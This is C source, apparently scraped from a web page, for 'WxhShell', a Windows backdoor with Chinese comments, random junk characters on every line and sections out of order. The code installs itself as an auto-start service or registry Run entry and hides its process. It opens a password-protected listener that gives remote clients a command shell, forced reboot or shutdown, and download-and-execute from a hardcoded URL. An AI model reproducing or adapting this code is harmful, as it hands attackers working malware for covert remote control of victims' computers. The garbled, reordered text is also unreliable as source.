    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k&iScMgCTH  
    else { 4{WV  
    closesocket(wsh); U]U)'  
    ExitThread(0); L^{;jgd&T9  
    } %7d@+ .  
    break; 3b\8907  
    } mCNf]Yz  
  // 关机 33*d/%N9  
  case 'd': { aX'g9E  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ww t()  
    if(Boot(SHUTDOWN)) ^H6d; n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #Y>%Dr&  
    else { VSpt&19  
    closesocket(wsh); wW! r}I#  
    ExitThread(0); BI.k On=  
    } D6)Cjc>a  
    break; S*m`'  
    } ^~<Rzq!  
  // 获取shell RzJ}CT  
  case 's': { p6y0W`U  
    CmdShell(wsh); &DQ4=/Z  
    closesocket(wsh); pkN:D+g S  
    ExitThread(0); skD k/-*R  
    break; A~GtK\=;  
  } K M\+  
  // 退出 xD= qU  
  case 'x': { OG^WZ.YU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;(0(8G  
    CloseIt(wsh); ^HlLj#  
    break; %*6oUb  
    } nB@iQxcz  
  // 离开 ^&';\O@)  
  case 'q': { ;.Oh88|k  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Xtu`5p_Qv  
    closesocket(wsh); :&0yf;>v  
    WSACleanup(); :{i$2\DH6  
    exit(1); bqQO E4;  
    break; {.3  
        } @Gn?8Ur%  
  } 7?!Z+r  
  } j*La ,iF  
k4F"UG-`  
  // 提示信息 $,e?X}4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )y/DGSd  
} f{^M.G@  
  } k#Ez  
4$zFR}f  
  return; ZkB6bji  
} zdjM%l);  
{~p7*j^0  
// shell模块句柄 "?eH=!  
int CmdShell(SOCKET sock) cR=94i=t  
{ =yTa,PY  
STARTUPINFO si; i+X2M-[Ls  
ZeroMemory(&si,sizeof(si)); &J^4Y!gt  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gF,[u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !&a;P,_Fb  
PROCESS_INFORMATION ProcessInfo; Z ]aK'  
char cmdline[]="cmd"; MB8SB   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); # NN"(I  
  return 0; G V:$;  
} fZ6 fV=HEF  
m/<F 5R  
// 自身启动模式 :(l $^ M  
int StartFromService(void) O\4+_y  
{ ?bt`fzX{l  
typedef struct 5rfH;`  
{ ]/o12pI  
  DWORD ExitStatus; Jny)uo8  
  DWORD PebBaseAddress; Q$fRi[/L  
  DWORD AffinityMask; *TM;trfz  
  DWORD BasePriority; ksu}+i,a  
  ULONG UniqueProcessId; iF [?uF  
  ULONG InheritedFromUniqueProcessId; 4z9#M;q T  
}   PROCESS_BASIC_INFORMATION; c:llOHA  
=CjNtD2]  
PROCNTQSIP NtQueryInformationProcess; &}nBenYp  
!]rETP_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pF sCd"zv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f8LrDR  
H}sS4[z  
  HANDLE             hProcess; Q&Z4r9+Z  
  PROCESS_BASIC_INFORMATION pbi; b.R!2]T]i^  
SLdN.4idK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Hbjb7Y?[  
  if(NULL == hInst ) return 0; vnC<*k4&v  
f2O*8^^Y{Q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zNV!@Yr  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z/Ns5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >~5lYD  
g|K6iY  
  if (!NtQueryInformationProcess) return 0; Z;GIlgK9  
80?6I%UB<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fO^e+M z  
  if(!hProcess) return 0; cBLR#Yu;O5  
AXl!cgi  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j{{~ZM  
t['k%c  
  CloseHandle(hProcess); 'dIX=/RZ  
v[{8G^Z}54  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F l_dzh,E  
if(hProcess==NULL) return 0; sK`~Csb iB  
n#+%!HTh  
HMODULE hMod; )-+\M_JK5  
char procName[255]; ?$|uT  
unsigned long cbNeeded; W\@?e32  
9Z,*h-o  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {W5ydHXy  
bJQ5- *F  
  CloseHandle(hProcess); AT B\^;n.  
Hp)X^O"  
if(strstr(procName,"services")) return 1; // 以服务启动 n7IL7?!o  
YgE]d?_h  
  return 0; // 注册表启动 4M @ oj  
} ]d@^i)2LF  
4F05(R8k  
// 主模块 mje<d"bW  
int StartWxhshell(LPSTR lpCmdLine) jM5_8nS&d  
{ =\~E n5  
  SOCKET wsl; r0\cc6  
BOOL val=TRUE; ?EI'^xg  
  int port=0; op hH9D  
  struct sockaddr_in door; f._l105.  
Sa3I?+  
  if(wscfg.ws_autoins) Install(); B{7Kzwh;  
1.# |QX  
port=atoi(lpCmdLine); "?apgx 6  
j5L)N  
if(port<=0) port=wscfg.ws_port; KX?o nsZ  
T-4/d5D[  
  WSADATA data; xGYSi5}z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; EY+/.=$x  
XR*Q|4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   QS3U)ZO$@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9[cp7 Rcb  
  door.sin_family = AF_INET; fCgBH~w,9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); eeuZUf+~]  
  door.sin_port = htons(port); :GU,EDps  
_& 8O~8tW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &qJPwO  
closesocket(wsl); ;~ W8v.EW  
return 1; Zimh _  
} )!tCC-Cr  
B\Xh 3l]+j  
  if(listen(wsl,2) == INVALID_SOCKET) { 9YR]+*  
closesocket(wsl); yiiyqL*E  
return 1; Ne3R.g9;Z  
} Lltc 4Mzw  
  Wxhshell(wsl); 86 *;z-G  
  WSACleanup(); `AWy!}8  
q`XW5VV{K  
return 0; ]JOephX2R  
k*5'L<&  
} 24#bMt#^  
!Citzor  
// 以NT服务方式启动 Ls&+XlrX8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sU\c#|BSC"  
{ x&'o ]Y  
DWORD   status = 0; M'kVL0p?vN  
  DWORD   specificError = 0xfffffff; rkkU"l$v  
led))qd@V-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Mr-DGLJ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6yY.!HRkr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~@{w\%(AK]  
  serviceStatus.dwWin32ExitCode     = 0; >DHp*$y  
  serviceStatus.dwServiceSpecificExitCode = 0; dXmV@ Noo  
  serviceStatus.dwCheckPoint       = 0; ))!Bg?t-  
  serviceStatus.dwWaitHint       = 0; #Mh{<gk%ax  
fX_#S|DlSG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !)N|J$FU  
  if (hServiceStatusHandle==0) return; dd]?9  
{jjSJIV1  
status = GetLastError(); MhNFW'_  
  if (status!=NO_ERROR) rah,dVE]  
{ }.p<wCPy6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; + :Vrip  
    serviceStatus.dwCheckPoint       = 0; /D<"wF }@J  
    serviceStatus.dwWaitHint       = 0; _5mc('  
    serviceStatus.dwWin32ExitCode     = status; P}0*{%jB  
    serviceStatus.dwServiceSpecificExitCode = specificError; F*M|<E=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); moMYdArj  
    return; L'l F/qe^  
  } Z,K7Ot0  
(:5G#?6,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Y$g}XN*)E  
  serviceStatus.dwCheckPoint       = 0; `-_N@E1'>  
  serviceStatus.dwWaitHint       = 0; s2FngAM;f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |g%mP1O  
} ;imRh'-V6  
f/,tgA  
// 处理NT服务事件,比如:启动、停止 4e +~.5r@i  
VOID WINAPI NTServiceHandler(DWORD fdwControl) '0:i<`qv#g  
{ 77V .["=7  
switch(fdwControl) 9}5K6aQ  
{ Cs wE  
case SERVICE_CONTROL_STOP:  B$^7h!  
  serviceStatus.dwWin32ExitCode = 0; R[LsE^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )t:7_M3  
  serviceStatus.dwCheckPoint   = 0; scW'AJJq  
  serviceStatus.dwWaitHint     = 0; _d@=nK)  
  { 3J{vt"dS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZQ3_y $  
  } %r;w;`/hA  
  return; ?vgH"W~3>  
case SERVICE_CONTROL_PAUSE: G/vC~6x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m#f{]+6U  
  break; z% 1{  
case SERVICE_CONTROL_CONTINUE: 9I`Y-D  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *:_P8G;  
  break; Q/ZkW  
case SERVICE_CONTROL_INTERROGATE: +R6a}d/K  
  break; n-o3  
}; DdSSd@,x*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |9Yi7.  
} F[saP0 *  
n,j$D62[  
// 标准应用程序主函数 [iS,#w` 5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) e'2Y1h  
{ |%1?3Mpn  
WA$ JI@g  
// 获取操作系统版本 ^N{ltgQY  
OsIsNt=GetOsVer(); u=r`t(Z1H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [Il~K  
/\Z J   
  // 从命令行安装 ""{|3XJe  
  if(strpbrk(lpCmdLine,"iI")) Install(); Wkzs<y"  
BI2; ex  
  // 下载执行文件 +Llo81j&  
if(wscfg.ws_downexe) { 0:&ZnE}##  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6_gnEve h  
  WinExec(wscfg.ws_filenam,SW_HIDE); 15{Y9!  
} GKiukX$'  
V-!"%fO.s  
if(!OsIsNt) { Kmz7c|  
// 如果时win9x,隐藏进程并且设置为注册表启动 DNkWOY#{  
HideProc(); eKN$jlg  
StartWxhshell(lpCmdLine); Bfr'Zdw  
} ]XA4;7  
else ,FZT~?  
  if(StartFromService()) 06*rWu9P3  
  // 以服务方式启动 :q#K} /  
  StartServiceCtrlDispatcher(DispatchTable); Y[Ltrk{  
else UsQ4~e 4-  
  // 普通方式启动 kforu!C  
  StartWxhshell(lpCmdLine); (k`{*!:1a  
FP^{=0  
return 0; R?66b{O  
} DJ@|QQ  
>TjJA #  
AoaN22  
[xb]Wf  
=========================================== p?X02 >yA  
%ZP+zh n}  
QHt4",Ij  
`^9(Ot $  
_qXa=|}V.  
xJs;v  
" ($nrqAv4  
~8T(>!hE1h  
#include <stdio.h> ,8MLoZ _  
#include <string.h> BZv+H=b  
#include <windows.h> jJZgK$5+  
#include <winsock2.h> C'A]i5  
#include <winsvc.h> 1 " #*)MF  
#include <urlmon.h> *e#<n_%R  
1w(JEqY3h:  
#pragma comment (lib, "Ws2_32.lib") jZoNi  
#pragma comment (lib, "urlmon.lib") }/P5>F<H[  
vhuw &.\  
#define MAX_USER   100 // 最大客户端连接数 nqVZqX@oE  
#define BUF_SOCK   200 // sock buffer kcie}Be  
#define KEY_BUFF   255 // 输入 buffer =*vMA#e  
2[fN\e{  
#define REBOOT     0   // 重启 )yK[Zb[  
#define SHUTDOWN   1   // 关机 HO)/dZNU  
p&-'|'![l  
#define DEF_PORT   5000 // 监听端口 'R<&d}@P*#  
9@ 16w  
#define REG_LEN     16   // 注册表键长度 ;Lm=dd@S:  
#define SVC_LEN     80   // NT服务名长度 5kNzv~4B,;  
SLfFqc+n0  
// 从dll定义API 'CZa3ux  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +>~?m*$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); YW \0k5[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R%D'`*+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U$dh1;  
h].~#*  
// wxhshell配置信息 COzyG.R.  
struct WSCFG { WKz> !E%  
  int ws_port;         // 监听端口 9`//^8G:=  
  char ws_passstr[REG_LEN]; // 口令  ^YdcAHjK  
  int ws_autoins;       // 安装标记, 1=yes 0=no Sn4[3JV$l  
  char ws_regname[REG_LEN]; // 注册表键名 )u]9193  
  char ws_svcname[REG_LEN]; // 服务名 ?E%ELs_Dl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 R"MRnr_4K  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 iJ' xh n  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "1`Oh<={b  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ph>7?3;t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Cxod[$8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "P-lSF?T  
@H>@[+S#  
}; K_?W\Yg   
klgy;jSEr  
// default Wxhshell configuration me6OPc;:!  
struct WSCFG wscfg={DEF_PORT, obrl#(\P  
    "xuhuanlingzhe", 'J&f%kx"  
    1, v[plT2"s  
    "Wxhshell", mGUO6>g  
    "Wxhshell", `Q3s4VEC  
            "WxhShell Service", l!}:|N Yh!  
    "Wrsky Windows CmdShell Service", -<v~snq'  
    "Please Input Your Password: ", `@[c8j7  
  1, 4wd& 55=2  
  "http://www.wrsky.com/wxhshell.exe", 2&c9q5.b  
  "Wxhshell.exe" ZOXIT(mg  
    }; /&F,V+x  
6 5y+Z  
// 消息定义模块 Y{v(p7pl  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Hn>B!Bm*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I1oje0$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; mC?i}+4>4R  
char *msg_ws_ext="\n\rExit."; / N) W2  
char *msg_ws_end="\n\rQuit."; @';B_iQ  
char *msg_ws_boot="\n\rReboot..."; P&m\1W(  
char *msg_ws_poff="\n\rShutdown..."; 7XKY]|S,'  
char *msg_ws_down="\n\rSave to "; b"!Q2S~  
"YdEE\  
char *msg_ws_err="\n\rErr!"; 8:BIbmtt5  
char *msg_ws_ok="\n\rOK!"; ?pgG,=?  
w.,Q1\*rPp  
char ExeFile[MAX_PATH]; Le<w R  
int nUser = 0; :1t~[-h^  
HANDLE handles[MAX_USER]; 3d<HN6&U  
int OsIsNt; L-B<nl  
M?&h~V1OI~  
SERVICE_STATUS       serviceStatus; 322jR4QGr  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]EwVpvTw  
|-V&O=!^+  
// 函数声明 1]IQg;q  
int Install(void); l]~n3IK"  
int Uninstall(void); "S 3wk=?4  
int DownloadFile(char *sURL, SOCKET wsh); V[-jD8=' 3  
int Boot(int flag); lEHzyh}2k  
void HideProc(void); :l|%17N  
int GetOsVer(void); '47P|t  
int Wxhshell(SOCKET wsl); 2I*;A5$N1  
void TalkWithClient(void *cs); fDG0BNLY  
int CmdShell(SOCKET sock); lds- T  
int StartFromService(void); 8-y{a.,u.  
int StartWxhshell(LPSTR lpCmdLine); x(<(t: ?o  
%IC73?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =+ t^f  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); s"Pf+aTW  
n,B,"\fw  
// 数据结构和表定义 ,`ZYvF^%  
SERVICE_TABLE_ENTRY DispatchTable[] = +)2s-A f-  
{ `tjH<  
{wscfg.ws_svcname, NTServiceMain}, *tm0R>?!  
{NULL, NULL} JXyM\}9-X  
}; Qne/g}PD`  
~"UV]Udn  
// 自我安装 (JM4R8fR&  
int Install(void) %tG*C,l]  
{ DJgTA]$&  
  char svExeFile[MAX_PATH]; <SI}lQ'i  
  HKEY key; U|g:`v7  
  strcpy(svExeFile,ExeFile); 4 C}bJzZ  
+}f9   
// 如果是win9x系统,修改注册表设为自启动 LM&y@"wfm  
if(!OsIsNt) { ~z"= G5|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @6l%,N<fou  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D#&q&6P{  
  RegCloseKey(key); nLV9<M Zm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Vp>|hj po  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G7N| :YK  
  RegCloseKey(key); JH:0 L  
  return 0; !S&L*OH,  
    } Bz5-ITX   
  } $Y5)(  
} Gs3LB/8?  
else { #v<QbA  
MwmUgN"g  
// 如果是NT以上系统,安装为系统服务 keB&Bjd&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); UQB "v3Z  
if (schSCManager!=0) a33TPoj  
{ Duc#$YfGm  
  SC_HANDLE schService = CreateService oh$Q6G  
  ( 5uxBK"q  
  schSCManager, /z BxJT0  
  wscfg.ws_svcname, rXA*NeA3v  
  wscfg.ws_svcdisp, vDH>H^9Y  
  SERVICE_ALL_ACCESS, qhT@;W/X  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7O, U?p  
  SERVICE_AUTO_START, L[=a/|)TBV  
  SERVICE_ERROR_NORMAL, 5Hcf;P7   
  svExeFile, #!)n {h+  
  NULL, >@"Oe  
  NULL, ss5 m/i7  
  NULL, da (km+  
  NULL, ?JL:CBvCp  
  NULL 26xXl|I  
  ); /="~gq@  
  if (schService!=0) {dmj/6Lc  
  { uL[.ND2._&  
  CloseServiceHandle(schService); ei rzYt  
  CloseServiceHandle(schSCManager); 4C FB"?n0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Q'%PNrN  
  strcat(svExeFile,wscfg.ws_svcname); W3iZ|[E;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _6wFba@>/n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }N*_KzPIa  
  RegCloseKey(key); -%L6#4m4o  
  return 0; 1x[)/@.'f  
    } =+AS/Jq  
  } Vb9',a?#n  
  CloseServiceHandle(schSCManager); .nyfYa+  
} 1&e} ms  
} =C~/7N,lW]  
b!)<-|IK  
return 1; TC<@e<-%Sq  
} C:Hoq(  
Zfyo-Wk  
// 自我卸载 qG<$Ajiin  
int Uninstall(void) s+Q~~]HJM  
{ >Jp:O 7  
  HKEY key; q `pP$i:  
|^A;&//  
if(!OsIsNt) { .jj$Kh q]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QR>gt;  
  RegDeleteValue(key,wscfg.ws_regname); 3;a<_cE*@  
  RegCloseKey(key); }Q";aU0^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u;`U*@  
  RegDeleteValue(key,wscfg.ws_regname); /tUy3myJ  
  RegCloseKey(key); i\dc>C ;  
  return 0; 3\Xbmq8}  
  } 0Q^Ikiv   
} CxfRV L`7  
} A\#iXOd  
else { Aj0Tfdxy  
2 aL)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); mQY_`&Jq  
if (schSCManager!=0) e#E2>Bj;  
{ lEV]4 t_H  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9 -rNw?7  
  if (schService!=0) 0=K9`=5d0  
  { rta:f800z  
  if(DeleteService(schService)!=0) { -N"&/)  
  CloseServiceHandle(schService); D&S26jrZ  
  CloseServiceHandle(schSCManager); # 0Lf<NZ  
  return 0; ;s52{>&F]  
  } 9k6r_G"  
  CloseServiceHandle(schService); ^.>jG I%rB  
  } (7r<''  
  CloseServiceHandle(schSCManager); }X=[WCK U  
} ?yj6CL(,  
} Pcw6!xH  
LGl2$#x  
return 1; (<)]sp2   
} AhNq/?Q Q~  
xe*aC  
// 从指定url下载文件 AW,53\ 0  
int DownloadFile(char *sURL, SOCKET wsh) 5:kH;/U  
{ #b~JDO(  
  HRESULT hr; m'f,_ \'  
char seps[]= "/"; El@(mOu|  
char *token; 0)m(;>'70  
char *file; ?`4+cx}n  
char myURL[MAX_PATH]; zSFDUZ]A3  
char myFILE[MAX_PATH]; X@f "-\  
$ mI0Bk  
strcpy(myURL,sURL); vPD] hs  
  token=strtok(myURL,seps); |M+<m">E  
  while(token!=NULL) rs~wv('  
  { ObiT-D?)g  
    file=token; g]c6& Y,#  
  token=strtok(NULL,seps); {\(L%\sV@  
  } ]GRWnif  
3.qTLga|}  
GetCurrentDirectory(MAX_PATH,myFILE); lg b?)=  
strcat(myFILE, "\\"); 3%E74 mOcD  
strcat(myFILE, file); (x3.poSt  
  send(wsh,myFILE,strlen(myFILE),0); pbU!dOU~e  
send(wsh,"...",3,0); M`l.t -ut  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *q1%IJ  
  if(hr==S_OK) <^lRUw  
return 0; /jRRf"B  
else qu-/"w<3$  
return 1; $bsG]  
]X^rU`":  
} t8dm)s[r8  
PoT`}-9  
// 系统电源模块 |P%DkM*X  
int Boot(int flag) D &/L:  
{ z5r$M  
  HANDLE hToken; TqddOp  
  TOKEN_PRIVILEGES tkp; y8rm  
f4PIoZ e  
  if(OsIsNt) { 2^l[(N  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zNIsf "  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qIAoA .  
    tkp.PrivilegeCount = 1; k0Uyf~p~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !H}vu]R  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); iV eC=^1  
if(flag==REBOOT) { .3MIcj=p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,Y>Bex_v  
  return 0; 7IjQi=#:  
} )-`;1ca)s  
else { >J>b>SU=-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yn/rW$  
  return 0; m2v'WY5u  
} :M6+p'`j  
  } uIDuGrt  
  else { Xt'sQ}  
if(flag==REBOOT) { 1rDqa(7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =%> oR  
  return 0; NwZ@#D#[ Y  
} (bh95X  
else { 6MxKl D7kl  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Yl.0aS  
  return 0; npNB{J[  
} /*c\qXA5  
} as>L[jyG/  
4X *>H  
return 1; HVC >9_:]  
} PK4iuU`vh  
 BouTcC  
// win9x进程隐藏模块 oun;rMq  
void HideProc(void) \R3H+W  
{ 78/N   
P'O#I}Dmw<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); W[^qa5W<FB  
  if ( hKernel != NULL ) C|?o*fQ  
  { {U_$&f9s  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rQaxr!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;JRs?1<='  
    FreeLibrary(hKernel); | a# f\  
  } Iy6$7~  
Cj?L@%"  
return; EVNY*&p  
} $e /^u[~:  
E]6z8juO6  
// 获取操作系统版本 $&2UTczp  
int GetOsVer(void) ,DZX$Ug~+E  
{ kWrp1`  
  OSVERSIONINFO winfo; hsw9(D>jp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q"7Gy<  
  GetVersionEx(&winfo); dzkw$m^@^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) YXI'gn2b#  
  return 1; m{7(PHpw  
  else r]0 lo-  
  return 0; nYJTKU  
} @ G4X  
V3ndV-uQE  
// 客户端句柄模块 ScSZGs 5&  
int Wxhshell(SOCKET wsl) "hy.GWF|*  
{ R+7oRXsu  
  SOCKET wsh; - > J_ ~  
  struct sockaddr_in client; BY]i;GVq  
  DWORD myID; q@jq0D)g  
=Z+nX0qF  
  while(nUser<MAX_USER) E(i[o?  
{ O%ug@& S{  
  int nSize=sizeof(client); ":nQgV\ 9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); G!XIc>F*  
  if(wsh==INVALID_SOCKET) return 1; dqX;#H}h  
)nd\7|5#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7 K{Nb  
if(handles[nUser]==0) raQ7.7  
  closesocket(wsh); ZlojbL@|4  
else 8L1ohj  
  nUser++;  ]@M5&  
  }  PTS]7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aBzszp]l+  
>g;kJe  
  return 0; x{&w?ng  
} > MH(0+B*  
v<9&B94z  
// 关闭 socket >dM8aJzC  
void CloseIt(SOCKET wsh) =-o'gL  
{ \-*eL;qP  
closesocket(wsh); cGwf!hA  
nUser--; Ei2%DMN7)  
ExitThread(0); SI6B#u-i  
} 2:LHy[{5  
T{}fHfM  
// 客户端请求句柄 d HJhFw  
void TalkWithClient(void *cs) :ZDMNhUl &  
{ "+uNmUUnm  
HBB{m  
  SOCKET wsh=(SOCKET)cs; e2-Dq]p  
  char pwd[SVC_LEN]; /xJqJ_70X  
  char cmd[KEY_BUFF]; D.%B$Y;G  
char chr[1]; tV/Z)fpyH  
int i,j; bOI3^T  
Xe+,wW3YF  
  while (nUser < MAX_USER) { |([R'Orm  
U,Mx@KdV  
if(wscfg.ws_passstr) { _u}4j9T  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %/.a]j!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gLsU:aeCT  
  //ZeroMemory(pwd,KEY_BUFF); 4eH.9t  
      i=0; \x >65;  
  while(i<SVC_LEN) { A*tKF&U5  
3CE[(   
  // 设置超时 j'p1q  
  fd_set FdRead; q/1Or;iK  
  struct timeval TimeOut; y]e>E  
  FD_ZERO(&FdRead); j 6ut}Uq  
  FD_SET(wsh,&FdRead); !q"CV  
  TimeOut.tv_sec=8; k8]O65t|  
  TimeOut.tv_usec=0; 4l8BQz}sb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Jg$xO@.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kWj \x|E  
rp7W }P+uU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gBk5wk_j|  
  pwd=chr[0]; e1q"AOV6  
  if(chr[0]==0xd || chr[0]==0xa) { P6U%=xaC  
  pwd=0; ?nKF6 f  
  break; eX l=i-'  
  } k6\^p;!Y  
  i++; %G3sjnI;l  
    } h?,\(KjP#  
f*xpE`&  
  // 如果是非法用户,关闭 socket 3,aN8F1;C  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~9$X3.+  
} 'q%%m/,VPQ  
EqM;LgE=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T,JA#Rk|1N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gd^Js 1Z  
,R wfp=*E  
while(1) { oYM,8 K  
t0m*PJcF  
  ZeroMemory(cmd,KEY_BUFF); ?q91:H   
R21~Q:b !  
      // 自动支持客户端 telnet标准   rlznwfr7+  
  j=0; ,|To#umym>  
  while(j<KEY_BUFF) { yi!`V.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5^)_B;.f  
  cmd[j]=chr[0]; Jfg7\&|  
  if(chr[0]==0xa || chr[0]==0xd) { NO>k  
  cmd[j]=0; ]7qiUdxt:  
  break; fUcLfnr  
  } d34Y'r  
  j++; @Z\~  
    } ;6DnId2Zh  
xX@FWAj  
  // 下载文件 cBEHH4U  
  if(strstr(cmd,"http://")) { -p# ,5}  
